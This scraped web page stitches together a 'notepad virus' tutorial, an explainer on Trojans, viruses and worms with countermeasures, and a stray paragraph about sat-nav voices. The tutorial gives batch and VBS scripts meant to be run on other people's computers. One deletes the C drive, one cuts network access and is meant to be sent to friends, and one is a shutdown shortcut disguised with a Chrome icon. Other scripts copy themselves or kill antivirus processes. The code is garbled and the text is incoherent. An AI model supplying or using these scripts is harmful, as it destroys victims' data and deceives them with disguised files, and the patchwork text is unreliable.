Some of them will works on windows xp. Some of them in windows 7. 2.Copy itself over one thousand times into random spots in your computer. 4.Task kill MSN, Norton, Windows Explorer, Limewire. Copy this code into notepad and save as Greatgame.bat (while saving select all files instead of text ). Type notepad and hit enter.

Some of the skills that hackers have are programming and computer networking skills. They often use these skills to gain access to systems. The objective of targeting an organization would be to steal sensitive data, disrupt business operations or physically damage computer controlled equipment. Trojans, viruses, and worms can be used to achieve the above-stated objectives.In this article, we will introduce you to some of the ways that hackers can use Trojans, viruses, and worms to compromise a computer system. We will also look at the countermeasures that can be used to protect against such activities. Topics covered in this tutorial.What is a Trojan horse?A Trojan horse is a program that allows the attack to control the user’s computer from a remote location.

The program is usually disguised as something that is useful to the user. Install backdoors on the victim’s computers. The created backdoor may be used to create zombie computers that are used to send spam emails, perform distributed denial of service attacks, etc.

The backdoors can also be exploited by other malware. Worms may also slowdown the network by consuming the bandwidth as they replicate. Install harmful payload code carried within the worm.What is a Virus?. A virus is a computer program that attaches itself to legitimate programs and files without the user’s consent. Viruses can consume computer resources such as memory and CPU time.

The attacked programs and files are said to be “infected”. A computer virus may be used to;. Access private data such as user id and passwords. Display annoying messages to the user. Corrupt data in your computer. Log the user’s keystrokesComputer viruses have been known to employ social engineering techniques.

These techniques involve deceiving the users to open the files which appear to be normal files such as Word or Excel documents. Once the file is opened, the virus code is executed and does what it’s intended to do. Trojans, Viruses, and Worms counter measures. To protect against such attacks, an organization can use the following methods. A policy that prohibits users from downloading unnecessary files from the Internet such as spam email attachments, games, programs that claim to speed up downloads, etc. Anti-virus software must be installed on all user computers.

The anti-virus software should be updated frequently, and scans must be performed at specified time intervals. Scan external storage devices on an isolated machine especially those that originate from outside the organization. Regular backups of critical data must be made and stored on preferably read-only media such as CDs and DVDs.

Worms exploit vulnerabilities in the operating systems.

Today we are here with the method to Create a Virus in Less Than 60 seconds. Today in every second, a person is using a computer and almost every one of them knows about a virus. The virus is a malicious program that enters into the computer without your permission and can affect your data and operating system. Well, viruses are of different types as there are trojan horses and much more. However, have you ever thought about creating a virus? You can create one within seconds, and it is possible with some simple methods that I am going to discuss in this post.Also Read. How to make a virus with notepadAlso Read: 1. Creating a Dangerous VirusStep 1.

First of all, in your Windows OS, open the notepad. Creating a Dangerous VirusStep 2. Now copy and paste the below code in your notepad screen.@Echo offDel C:. y Creating a Dangerous VirusStep 3. Now save this file as virus.bat (you can select any of random name but.bat after that must be there). Creating a Dangerous VirusNow running the file will delete the C drive completely, and the operating system of the respective computer will get corrupted.Note: This method is only for knowledge purpose. Don’t try this on your computer as it will completely format your C drive.Also Read: 2.

Creating a Harmless Cdrom VirusOpen Notepad and Paste the following code into it and save it as CD-ROM.vbs or anything.vbsSet oWMP = CreateObject(“WMPlayer.OCX.7”)Set colCDROMs = oWMP.cdromCollectiondoif colCDROMs.Count = 1 thenFor i = 0 to colCDROMs.Count – 1colCDROMs.Item(i).EjectNextFor i = 0 to colCDROMs.Count – 1colCDROMs.Item(i).EjectNextEnd Ifwscript.sleep 5000loop Creating a Harmless Cdrom VirusWhen you double click on this file, you will be amazed at what this simple, harmless virus can do. Your CD/DVD drives will get continuously ejected.To stop this virus, you need to open Task Manager and select process tab and end the wscript.exe file.Also Read: 3.

Create a Virus To Test Your Antivirus (fake virus notepad)Open notepad and paste the given code and simply save the file as “EICAR.COM”X5O!P%@AP4PZX54(P^)7CC)7$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H. Create a Virus To Test Your AntivirusIf you have an active antivirus, then your antivirus program will simply remove this file in no-time.

Free sat nav voices. GPS Data Team has a list of free downloadable voice files for many Sat Nav types. It’s very straightforward and gimmick-free, but mainly only features voices you can get at their original sites as shown above. Occasionally you can find voices on GPS Data Team which may have been available elsewhere for free as a promotion at some stage, but.

This is the harmless virus that is used to check the security level of your antivirus.Also Read: 4. Virus To Stop Someone’s Internet AccessThis is a harmless virus and it will not destroy your PC. You can use this notepad virus scripts to prank your friends. This virus stops anyone’s internet access.

You need to typethe following code in the notepad.@Echo offIpconfig /release Stop Someone’s Internet AccessNow Save the file as a.bat format like internet.bat and sent it to your friends. The IP address will be lost, and therefore they won’t be able to fix it. Well, if you want to fix it.

Simply type in IPconfig /renew. So, this is one of the best notepad virus prank. Creating a Matrix Type screenWell, it’s not a virus. It is just a simple notepad trick that will let you see the string of green characters appearing randomly. It has nothing to do with your computer registry, batch, etc. You can use this trick to scare your friend because the screen looks like a virus affected.Simply open Notepad and type the following code into it.@echo offcolor 02:startecho%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%goto start Matrix Type screenNow save the file as Matrix.bat, and click on it and the show begins.Also Read: 6. Shutdown virusYou can also create a virus that can shut down computers.

Well, this virus is harmless but can cause data loss due to sudden shutdown. Here’s how you can make a shutdown virus to pull up a prank with your friends.Step 1. First of all, right click on your desktop and then choose the option “Create Shortcut” Shutdown virusStep 2. Now in the pop-up window type in -s -t 60 -c “Virus Detection. The computer is shutting down.” Instead of 60, you can put what value you want. It represents the time in seconds.

Shutdown virusStep 3. Then click on the Next button and type chrome. Or whatever you want. Shutdown virusStep 4. Then you need to change the icon of the shortcut, choose the icon of Google Chrome. Shutdown virusYour virus will look like Google Chrome. You can carry this file in your Pendrive and can shut down your friends’ computer.

Few Other Notepad Virus Codes (Notepad virus tricks)Here are few other source codes to create a notepad virus on Windows computer. However, these viruses are dangerous and can destroy your computer. Therefore, don’t use this virus for evil purposes.Note: The damages caused by these viruses are irreversible #1 Disable Internet PermanentlyThe below code will disable anyone’s internet connectivity PERMANENTLY.